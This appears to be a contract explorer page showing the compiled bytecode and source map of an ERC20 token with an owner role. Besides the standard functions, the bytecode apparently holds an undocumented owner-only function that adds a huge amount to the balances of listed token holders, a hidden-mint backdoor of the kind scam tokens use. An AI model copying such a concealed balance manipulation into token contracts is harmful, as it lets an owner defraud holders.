50565b600061199260238361114e565b915061199d82611936565b604082019050919050565b600060208201905081810360008301526119c181611985565b905091905056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122089f434d8f180c199fd01744ca3989b51cba6f0f4417fefd47364c779012e10e164736f6c63430008120033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806370a0823111610097578063a457c2d711610066578063a457c2d714610276578063a9059cbb146102a6578063dd62ed3e146102d6578063f2fde38b14610306576100f5565b806370a0823114610200578063715018a6146102305780638da5cb5b1461023a57806395d89b4114610258576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce5671461019657806339509351146101b45780633ec86457146101e4576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610322565b60405161010f91906111d3565b60405180910390f35b610132600480360381019061012d9190611293565b6103b4565b60405161013f91906112ee565b60405180910390f35b6101506103d2565b60405161015d9190611318565b60405180910390f35b610180600480360381019061017b9190611333565b6103dc565b60405161018d91906112ee565b60405180910390f35b61019e6104b5565b6040516101ab91906113a2565b60405180910390f35b6101ce60048036038101906101c99190611293565b6104cc565b6040516101db91906112ee565b60405180910390f35b6101fe60048036038101906101f99190611422565b61057f565b005b61021a6004803603810190610215919061146f565b6107c2565b6040516102279190611318565b60405180910390f35b61023861080b565b005b610242610893565b60405161024f91906114ab565b60405180910390f35b6102606108bc565b60405161026d91906111d3565b60405180910390f35b610290600480360381019061028b9190611293565b61094e565b60405161029d91906112ee565b60405180910390f35b6102c060048036038101906102bb9190611293565b610a1b565b6040516102cd91906112ee565b60405180910390f35b6102f060048036038101906102eb91906114c6565b610a39565b6040516102fd9190611318565b60405180910390f35b610320600480360381019061031b919061146f565b610ac0565b005b60606003805461033190611535565b80601f016020809104026020016040519081016040528092919081815260200182805461035d90611535565b80156103aa5780601f1061037f576101008083540402835291602001916103aa565b820191906000526020600020905b81548152906001019060200180831161038d57829003601f168201915b5050505050905090565b60006103c86103c1610bcd565b8484610bd5565b6001905092915050565b6000600654905090565b60006103e9848484610d9e565b6104aa846103f5610bcd565b6104a5856040518060600160405280602881526020016119ef60289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061045b610bcd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461102a9092919063ffffffff16565b610bd5565b600190509392505050565b6000600560009054906101000a900460ff16905090565b60006105756104d9610bcd565b8461057085600260006104ea610bcd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610bb790919063ffffffff16565b610bd5565b6001905092915050565b610587610bcd565b73ffffffffffffffffffffffffffffffffffffffff166105a5610893565b73ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f2906115b2565b60405180910390fd5b600061093360065461060d9190611601565b9050600080611870620f9e20846106249190611601565b61062e9190611601565b6106389190611601565b905060005b848490508110156107bb57600085858381811061065d5761065c611643565b5b9050602002016020810190610672919061146f565b90506000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115610723576064836106c99190611601565b600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107179190611601565b925050819055506107a7565b600160008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5080806107b390611672565b91505061063d565b5050505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610813610bcd565b73ffffffffffffffffffffffffffffffffffffffff16610831610893565b73ffffffffffffffffffffffffffffffffffffffff1614610887576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161087e906115b2565b60405180910390fd5b610891600061107f565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600480546108cb90611535565b80601f01602080910402602001604051908101604052809291908181526020018280546108f790611535565b80156109445780601f1061091957610100808354040283529160200191610944565b820191906000526020600020905b81548152906001019060200180831161092757829003601f168201915b5050505050905090565b6000610a1161095b610bcd565b84610a0c85604051806060016040528060258152602001611a176025913960026000610985610bcd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461102a9092919063ffffffff16565b610bd5565b6001905092915050565b6000610a2f610a28610bcd565b8484610d9e565b6001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610ac8610bcd565b73ffffffffffffffffffffffffffffffffffffffff16610ae6610893565b73ffffffffffffffffffffffffffffffffffffffff1614610b3c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b33906115b2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610bab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ba29061172c565b60405180910390fd5b610bb48161107f565b50565b60008183610bc5919061174c565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610c44576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3b906117f2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610cb3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610caa90611884565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610d919190611318565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610e0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e0490611916565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e7c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e73906119a8565b60405180910390fd5b610ee8816040518060600160405280602681526020016119c960269139600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461102a9092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f7d81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610bb790919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161101d9190611318565b60405180910390a3505050565b6000838311158290611072576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106991906111d3565b60405180910390fd5b5082840390509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561117d578082015181840152602081019050611162565b60008484015250505050565b6000601f19601f8301169050919050565b60006111a582611143565b6111af818561114e565b93506111bf81856020860161115f565b6111c881611189565b840191505092915050565b600060208201905081810360008301526111ed818461119a565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061122a826111ff565b9050919050565b61123a8161121f565b811461124557600080fd5b50565b60008135905061125781611231565b92915050565b6000819050919050565b6112708161125d565b811461127b57600080fd5b50565b60008135905061128d81611267565b92915050565b600080604083850312156112aa576112a96111f5565b5b60006112b885828601611248565b92505060206112c98582860161127e565b9150509250929050565b60008115159050919050565b6112e8816112d3565b82525050565b600060208201905061130360008301846112df565b92915050565b6113128161125d565b82525050565b600060208201905061132d6000830184611309565b92915050565b60008060006060848603121561134c5761134b6111f5565b5b600061135a86828701611248565b935050602061136b86828701611248565b925050604061137c8682870161127e565b9150509250925092565b600060ff82169050919050565b61139c81611386565b82525050565b60006020820190506113b76000830184611393565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f8401126113e2576113e16113bd565b5b8235905067ffffffffffffffff8111156113ff576113fe6113c2565b5b60208301915083602082028301111561141b5761141a6113c7565b5b9250929050565b60008060208385031215611439576114386111f5565b5b600083013567ffffffffffffffff811115611457576114566111fa565b5b611463858286016113cc565b92509250509250929050565b600060208284031215611485576114846111f5565b5b600061149384828501611248565b91505092915050565b6114a58161121f565b82525050565b60006020820190506114c0600083018461149c565b92915050565b600080604083850312156114dd576114dc6111f5565b5b60006114eb85828601611248565b92505060206114fc85828601611248565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061154d57607f821691505b6020821081036115605761155f611506565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061159c60208361114e565b91506115a782611566565b602082019050919050565b600060208201905081810360008301526115cb8161158f565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061160c8261125d565b91506116178361125d565b92508282026116258161125d565b9150828204841483151761163c5761163b6115d2565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600061167d8261125d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036116af576116ae6115d2565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061171660268361114e565b9150611721826116ba565b604082019050919050565b6000602082019050818103600083015261174581611709565b9050919050565b60006117578261125d565b91506117628361125d565b925082820190508082111561177a576117796115d2565b5b92915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006117dc60248361114e565b91506117e782611780565b604082019050919050565b6000602082019050818103600083015261180b816117cf565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061186e60228361114e565b915061187982611812565b604082019050919050565b6000602082019050818103600083015261189d81611861565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061190060258361114e565b915061190b826118a4565b604082019050919050565b6000602082019050818103600083015261192f816118f3565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061199260238361114e565b915061199d82611936565b604082019050919050565b600060208201905081810360008301526119c181611985565b905091905056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122089f434d8f180c199fd01744ca3989b51cba6f0f4417fefd47364c779012e10e164736f6c63430008120033

Deployed Bytecode Sourcemap

8928:5806:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9616:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11903:210;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10715:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12123:454;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10559:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13071:300;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12585:476;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;10886:177;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2911:94;;;:::i;:::-;;2601:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9826:95;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13379:400;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11276:216;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11555:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3160:192;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;9616:91;9661:13;9694:5;9687:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9616:91;:::o;11903:210::-;12022:4;12044:39;12053:12;:10;:12::i;:::-;12067:7;12076:6;12044:8;:39::i;:::-;12101:4;12094:11;;11903:210;;;;:::o;10715:108::-;10776:7;10803:12;;10796:19;;10715:108;:::o;12123:454::-;12263:4;12280:36;12290:6;12298:9;12309:6;12280:9;:36::i;:::-;12327:220;12350:6;12371:12;:10;:12::i;:::-;12398:138;12454:6;12398:138;;;;;;;;;;;;;;;;;:11;:19;12410:6;12398:19;;;;;;;;;;;;;;;:33;12418:12;:10;:12::i;:::-;12398:33;;;;;;;;;;;;;;;;:37;;:138;;;;;:::i;:::-;12327:8;:220::i;:::-;12565:4;12558:11;;12123:454;;;;;:::o;10559:91::-;10608:5;10633:9;;;;;;;;;;;10626:16;;10559:91;:::o;13071:300::-;13186:4;13208:133;13231:12;:10;:12::i;:::-;13258:7;13280:50;13319:10;13280:11;:25;13292:12;:10;:12::i;:::-;13280:25;;;;;;;;;;;;;;;:34;13306:7;13280:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;13208:8;:133::i;:::-;13359:4;13352:11;;13071:300;;;;:::o;12585:476::-;2832:12;:10;:12::i;:::-;2821:23;;:7;:5;:7::i;:::-;:23;;;2813:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;12652:16:::1;12686:4;12671:12;;:19;;;;:::i;:::-;12652:38;;12701:25;12757:1:::0;12750:4:::1;12740:7;12729:8;:18;;;;:::i;:::-;:25;;;;:::i;:::-;:29;;;;:::i;:::-;12701:57;;12774:9;12769:285;12793:4;;:11;;12789:1;:15;12769:285;;;12826:15;12844:4;;12849:1;12844:7;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;12826:25;;12891:1;12870:9;:18;12880:7;12870:18;;;;;;;;;;;;;;;;:22;12866:176;;;12951:3;12931:17;:23;;;;:::i;:::-;12909:9;:18;12919:7;12909:18;;;;;;;;;;;;;;;;:45;;;;;;;:::i;:::-;;;;;;;;12866:176;;;13024:9;:18;13034:7;13024:18;;;;;;;;;;;;;;;;13003:9;:18;13013:7;13003:18;;;;;;;;;;;;;;;:39;;;;12866:176;12811:243;12806:3;;;;;:::i;:::-;;;;12769:285;;;;12641:420;;12585:476:::0;;:::o;10886:177::-;11005:7;11037:9;:18;11047:7;11037:18;;;;;;;;;;;;;;;;11030:25;;10886:177;;;:::o;2911:94::-;2832:12;:10;:12::i;:::-;2821:23;;:7;:5;:7::i;:::-;:23;;;2813:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;2976:21:::1;2994:1;2976:9;:21::i;:::-;2911:94::o:0;2601:87::-;2647:7;2674:6;;;;;;;;;;;2667:13;;2601:87;:::o;9826:95::-;9873:13;9906:7;9899:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9826:95;:::o;13379:400::-;13499:4;13521:228;13544:12;:10;:12::i;:::-;13571:7;13593:145;13650:15;13593:145;;;;;;;;;;;;;;;;;:11;:25;13605:12;:10;:12::i;:::-;13593:25;;;;;;;;;;;;;;;:34;13619:7;13593:34;;;;;;;;;;;;;;;;:38;;:145;;;;;:::i;:::-;13521:8;:228::i;:::-;13767:4;13760:11;;13379:400;;;;:::o;11276:216::-;11398:4;11420:42;11430:12;:10;:12::i;:::-;11444:9;11455:6;11420:9;:42::i;:::-;11480:4;11473:11;;11276:216;;;;:::o;11555:201::-;11689:7;11721:11;:18;11733:5;11721:18;;;;;;;;;;;;;;;:27;11740:7;11721:27;;;;;;;;;;;;;;;;11714:34;;11555:201;;;;:::o;3160:192::-;2832:12;:10;:12::i;:::-;2821:23;;:7;:5;:7::i;:::-;:23;;;2813:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;3269:1:::1;3249:22;;:8;:22;;::::0;3241:73:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;3325:19;3335:8;3325:9;:19::i;:::-;3160:192:::0;:::o;6347:98::-;6405:7;6436:1;6432;:5;;;;:::i;:::-;6425:12;;6347:98;;;;:::o;1982:::-;2035:7;2062:10;2055:17;;1982:98;:::o;14343:380::-;14496:1;14479:19;;:5;:19;;;14471:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;14577:1;14558:21;;:7;:21;;;14550:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;14661:6;14631:11;:18;14643:5;14631:18;;;;;;;;;;;;;;;:27;14650:7;14631:27;;;;;;;;;;;;;;;:36;;;;14699:7;14683:32;;14692:5;14683:32;;;14708:6;14683:32;;;;;;:::i;:::-;;;;;;;;14343:380;;;:::o;13787:548::-;13945:1;13927:20;;:6;:20;;;13919:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;14029:1;14008:23;;:9;:23;;;14000:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;14102:108;14138:6;14102:108;;;;;;;;;;;;;;;;;:9;:17;14112:6;14102:17;;;;;;;;;;;;;;;;:21;;:108;;;;;:::i;:::-;14082:9;:17;14092:6;14082:17;;;;;;;;;;;;;;;:128;;;;14244:32;14269:6;14244:9;:20;14254:9;14244:20;;;;;;;;;;;;;;;;:24;;:32;;;;:::i;:::-;14221:9;:20;14231:9;14221:20;;;;;;;;;;;;;;;:55;;;;14309:9;14292:35;;14301:6;14292:35;;;14320:6;14292:35;;;;;;:::i;:::-;;;;;;;;13787:548;;;:::o;8157:240::-;8277:7;8335:1;8330;:6;;8338:12;8322:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;8377:1;8373;:5;8366:12;;8157:240;;;;;:::o;3360:173::-;3416:16;3435:6;;;;;;;;;;;3416:25;;3461:8;3452:6;;:17;;;;;;;;;;;;;;;;;;3516:8;3485:40;;3506:8;3485:40;;;;;;;;;;;;3405:128;3360:173;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1553:117;1662:1;1659;1652:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:619::-;3875:6;3883;3891;3940:2;3928:9;3919:7;3915:23;3911:32;3908:119;;;3946:79;;:::i;:::-;3908:119;4066:1;4091:53;4136:7;4127:6;4116:9;4112:22;4091:53;:::i;:::-;4081:63;;4037:117;4193:2;4219:53;4264:7;4255:6;4244:9;4240:22;4219:53;:::i;:::-;4209:63;;4164:118;4321:2;4347:53;4392:7;4383:6;4372:9;4368:22;4347:53;:::i;:::-;4337:63;;4292:118;3798:619;;;;;:::o;4423:86::-;4458:7;4498:4;4491:5;4487:16;4476:27;;4423:86;;;:::o;4515:112::-;4598:22;4614:5;4598:22;:::i;:::-;4593:3;4586:35;4515:112;;:::o;4633:214::-;4722:4;4760:2;4749:9;4745:18;4737:26;;4773:67;4837:1;4826:9;4822:17;4813:6;4773:67;:::i;:::-;4633:214;;;;:::o;4853:117::-;4962:1;4959;4952:12;4976:117;5085:1;5082;5075:12;5099:117;5208:1;5205;5198:12;5239:568;5312:8;5322:6;5372:3;5365:4;5357:6;5353:17;5349:27;5339:122;;5380:79;;:::i;:::-;5339:122;5493:6;5480:20;5470:30;;5523:18;5515:6;5512:30;5509:117;;;5545:79;;:::i;:::-;5509:117;5659:4;5651:6;5647:17;5635:29;;5713:3;5705:4;5697:6;5693:17;5683:8;5679:32;5676:41;5673:128;;;5720:79;;:::i;:::-;5673:128;5239:568;;;;;:::o;5813:559::-;5899:6;5907;5956:2;5944:9;5935:7;5931:23;5927:32;5924:119;;;5962:79;;:::i;:::-;5924:119;6110:1;6099:9;6095:17;6082:31;6140:18;6132:6;6129:30;6126:117;;;6162:79;;:::i;:::-;6126:117;6275:80;6347:7;6338:6;6327:9;6323:22;6275:80;:::i;:::-;6257:98;;;;6053:312;5813:559;;;;;:::o;6378:329::-;6437:6;6486:2;6474:9;6465:7;6461:23;6457:32;6454:119;;;6492:79;;:::i;:::-;6454:119;6612:1;6637:53;6682:7;6673:6;6662:9;6658:22;6637:53;:::i;:::-;6627:63;;6583:117;6378:329;;;;:::o;6713:118::-;6800:24;6818:5;6800:24;:::i;:::-;6795:3;6788:37;6713:118;;:::o;6837:222::-;6930:4;6968:2;6957:9;6953:18;6945:26;;6981:71;7049:1;7038:9;7034:17;7025:6;6981:71;:::i;:::-;6837:222;;;;:::o;7065:474::-;7133:6;7141;7190:2;7178:9;7169:7;7165:23;7161:32;7158:119;;;7196:79;;:::i;:::-;7158:119;7316:1;7341:53;7386:7;7377:6;7366:9;7362:22;7341:53;:::i;:::-;7331:63;;7287:117;7443:2;7469:53;7514:7;7505:6;7494:9;7490:22;7469:53;:::i;:::-;7459:63;;7414:118;7065:474;;;;;:::o;7545:180::-;7593:77;7590:1;7583:88;7690:4;7687:1;7680:15;7714:4;7711:1;7704:15;7731:320;7775:6;7812:1;7806:4;7802:12;7792:22;;7859:1;7853:4;7849:12;7880:18;7870:81;;7936:4;7928:6;7924:17;7914:27;;7870:81;7998:2;7990:6;7987:14;7967:18;7964:38;7961:84;;8017:18;;:::i;:::-;7961:84;7782:269;7731:320;;;:::o;8057:182::-;8197:34;8193:1;8185:6;8181:14;8174:58;8057:182;:::o;8245:366::-;8387:3;8408:67;8472:2;8467:3;8408:67;:::i;:::-;8401:74;;8484:93;8573:3;8484:93;:::i;:::-;8602:2;8597:3;8593:12;8586:19;;8245:366;;;:::o;8617:419::-;8783:4;8821:2;8810:9;8806:18;8798:26;;8870:9;8864:4;8860:20;8856:1;8845:9;8841:17;8834:47;8898:131;9024:4;8898:131;:::i;:::-;8890:139;;8617:419;;;:::o;9042:180::-;9090:77;9087:1;9080:88;9187:4;9184:1;9177:15;9211:4;9208:1;9201:15;9228:410;9268:7;9291:20;9309:1;9291:20;:::i;:::-;9286:25;;9325:20;9343:1;9325:20;:::i;:::-;9320:25;;9380:1;9377;9373:9;9402:30;9420:11;9402:30;:::i;:::-;9391:41;;9581:1;9572:7;9568:15;9565:1;9562:22;9542:1;9535:9;9515:83;9492:139;;9611:18;;:::i;:::-;9492:139;9276:362;9228:410;;;;:::o;9644:180::-;9692:77;9689:1;9682:88;9789:4;9786:1;9779:15;9813:4;9810:1;9803:15;9830:233;9869:3;9892:24;9910:5;9892:24;:::i;:::-;9883:33;;9938:66;9931:5;9928:77;9925:103;;10008:18;;:::i;:::-;9925:103;10055:1;10048:5;10044:13;10037:20;;9830:233;;;:::o;10069:225::-;10209:34;10205:1;10197:6;10193:14;10186:58;10278:8;10273:2;10265:6;10261:15;10254:33;10069:225;:::o;10300:366::-;10442:3;10463:67;10527:2;10522:3;10463:67;:::i;:::-;10456:74;;10539:93;10628:3;10539:93;:::i;:::-;10657:2;10652:3;10648:12;10641:19;;10300:366;;;:::o;10672:419::-;10838:4;10876:2;10865:9;10861:18;10853:26;;10925:9;10919:4;10915:20;10911:1;10900:9;10896:17;10889:47;10953:131;11079:4;10953:131;:::i;:::-;10945:139;;10672:419;;;:::o;11097:191::-;11137:3;11156:20;11174:1;11156:20;:::i;:::-;11151:25;;11190:20;11208:1;11190:20;:::i;:::-;11185:25;;11233:1;11230;11226:9;11219:16;;11254:3;11251:1;11248:10;11245:36;;;11261:18;;:::i;:::-;11245:36;11097:191;;;;:::o;11294:223::-;11434:34;11430:1;11422:6;11418:14;11411:58;11503:6;11498:2;11490:6;11486:15;11479:31;11294:223;:::o;11523:366::-;11665:3;11686:67;11750:2;11745:3;11686:67;:::i;:::-;11679:74;;11762:93;11851:3;11762:93;:::i;:::-;11880:2;11875:3;11871:12;11864:19;;11523:366;;;:::o;11895:419::-;12061:4;12099:2;12088:9;12084:18;12076:26;;12148:9;12142:4;12138:20;12134:1;12123:9;12119:17;12112:47;12176:131;12302:4;12176:131;:::i;:::-;12168:139;;11895:419;;;:::o;12320:221::-;12460:34;12456:1;12448:6;12444:14;12437:58;12529:4;12524:2;12516:6;12512:15;12505:29;12320:221;:::o;12547:366::-;12689:3;12710:67;12774:2;12769:3;12710:67;:::i;:::-;12703:74;;12786:93;12875:3;12786:93;:::i;:::-;12904:2;12899:3;12895:12;12888:19;;12547:366;;;:::o;12919:419::-;13085:4;13123:2;13112:9;13108:18;13100:26;;13172:9;13166:4;13162:20;13158:1;13147:9;13143:17;13136:47;13200:131;13326:4;13200:131;:::i;:::-;13192:139;;12919:419;;;:::o;13344:224::-;13484:34;13480:1;13472:6;13468:14;13461:58;13553:7;13548:2;13540:6;13536:15;13529:32;13344:224;:::o;13574:366::-;13716:3;13737:67;13801:2;13796:3;13737:67;:::i;:::-;13730:74;;13813:93;13902:3;13813:93;:::i;:::-;13931:2;13926:3;13922:12;13915:19;;13574:366;;;:::o;13946:419::-;14112:4;14150:2;14139:9;14135:18;14127:26;;14199:9;14193:4;14189:20;14185:1;14174:9;14170:17;14163:47;14227:131;14353:4;14227:131;:::i;:::-;1421